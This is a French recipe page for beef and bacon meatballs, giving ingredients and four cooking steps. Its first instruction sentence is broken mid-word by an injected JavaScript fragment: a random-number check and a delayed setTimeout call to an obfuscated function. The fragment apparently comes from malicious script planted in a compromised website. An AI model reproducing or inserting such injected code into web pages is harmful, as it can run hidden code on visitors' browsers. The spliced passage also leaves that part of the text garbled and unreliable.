Steak haché avec du bacon

2017-12-29

Hachez le bacon et le mélanger à la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande de bœuf. ( ne pas saler ) poivrez.

Battez l’ œuf avec 1 pincée de sel fin.

Ingrédients

  • Pour 4 personnes
  • 300 g de viande de bœuf haché
  • 200 g de bacon
  • Farine de blé
  • 1 œuf entier
  • 2 cuillères à soupe d'huile d'arachide
  • Sel fin
  • Poivre les 4 baies

Préparation de la recette

Etape 1

Hachez le bacon et le mélanger à la viande de bœuf. Poivrez (Ne pas saler). Battez l' œuf avec 1 pincée de sel fin.

Etape 2

Incorporez dans la viande. Mélangez. Dans une assiette creuse, versez de la farine.

Etape 3

Formez des petites boulettes de viande. Les enrouler dans la farine en secouant l'excédent.

Etape 4

Faites les cuire dans une huile bien chaude pendant 1 minute 30 de chaque côté. Servez avec des frites et une salade verte.

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